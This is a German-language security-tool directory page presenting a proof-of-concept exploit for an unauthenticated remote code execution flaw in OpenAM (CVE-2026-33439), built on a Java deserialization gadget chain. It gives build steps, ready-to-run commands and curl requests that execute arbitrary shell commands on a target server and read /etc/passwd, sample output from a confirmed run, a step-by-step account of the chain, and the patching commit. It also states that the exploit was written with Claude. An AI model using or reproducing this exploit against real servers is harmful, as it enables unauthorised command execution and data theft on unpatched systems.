Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33439-PoC — Exploit für OpenAM Pre-Auth RCE (CVE-2026-33439) unter Verwendung einer Java-Deserialisierungs-Gadget-Kette, um Befehle auszuführen und die Ausgabe direkt in der HTTP-Antwort zurückzugeben. | Kitploit
Tools/GitHubGitHub/ibonok/cve-2026-33439-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

Exploit für OpenAM Pre-Auth RCE (CVE-2026-33439) unter Verwendung einer Java-Deserialisierungs-Gadget-Kette, um Befehle auszuführen und die Ausgabe direkt in der HTTP-Antwort zurückzugeben.

Repository anzeigen
11vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33439 — OpenAM Pre-Auth RCE (Echo-Modus)

Befehlsausgabe direkt in der HTTP-Antwort — keine DNS-Exfiltration oder OOB erforderlich.

Verwendet com.iplanet.jato.RequestManager.getRequestContext(), um während der Deserialisierung auf die aktive JATO-ThreadLocal-Request/Response zuzugreifen. Funktioniert auf Java 21+, wo klassische Tomcat-Echo-Techniken (Thread.target / ThreadGroup.threads-Traversierung) fehlschlagen.

Voraussetzungen

  • JDK 11+ (benötigt javac für die Translet-Kompilierung zur Laufzeit)
  • Ziel-OpenAM mit click-nodeps-2.3.0.jar und xalan-2.7.x.jar im Klassenpfad

Bestätigte verwundbare Endpunkte

EndpunktEcho-Ausgabe
/sso/ui/PWResetUserValidationHTTP 200, Befehlsausgabe im Body
/sso/ui/PWResetQuestionHTTP 200, Befehlsausgabe im Body
/sso/ui/PWResetSuccessHTTP 200, Befehlsausgabe im Body

Ebenfalls getestet, aber keine Echo-Ausgabe (Deserialisierung wird trotzdem ausgelöst):

  • /sso/ui/PWResetInvalidURL — Fehlerseite zurückgegeben
  • /sso/ui/PWResetUncaughtException — Fehlerseite zurückgegeben

Build

root@kitploit:~
./build.sh

Verwendung

Das JAR fügt automatisch --add-opens-JVM-Flags hinzu — keine manuelle Angabe erforderlich.

root@kitploit:~
# All-in-one: Payload generieren + senden + Ausgabe anzeigen (Proxy über Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Ohne Burp-Proxy
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# Wiederverwendbaren Payload generieren (Befehl kommt zur Anfragezeit aus dem 'cmd'-Header)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

Bestätigte Ergebnisse (2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

Funktionsweise

  1. Generiert einen PriorityQueue-Deserialisierungs-Payload (Click1 + Xalan TemplatesImpl-Gadget-Kette)
  2. Der Translet-Bytecode ruft RequestManager.getRequestContext() auf, um die aktive JATO-Request/Response zu erhalten
  3. Liest den cmd-HTTP-Header, führt sh -c <cmd> aus, schreibt stdout+stderr in response.getOutputStream()
  4. Der Payload wird als OpenAM-Format-Base64 kodiert (\x00-Präfix + URL-sicheres Base64, ohne Padding)
  5. Wird an /sso/ui/PWResetUserValidation?jato.clientSession=<payload> gesendet (unauthentifiziert)

Verzeichnisstruktur

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # Exploit-JAR
  build.sh                   # Build-Skript
  MANIFEST.MF                # JAR-Manifest
  README.md                  # Diese Datei
  lib/                       # Abhängigkeiten (müssen neben dem JAR bleiben)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # Quellcode

Fix

Gepatcht im OpenAM-Commit 014007c63cacc834cc795a89fac0e611aebc4a32 — fügt einen Klassenfilter zu ObjectInputStream in SessionEncodeURL.readSessionID() hinzu.

Sonstiges:

Der PoC wurde mit Claude erstellt; die Vorlage waren der Write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) und der Git-Commit (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)

Tool herunterladen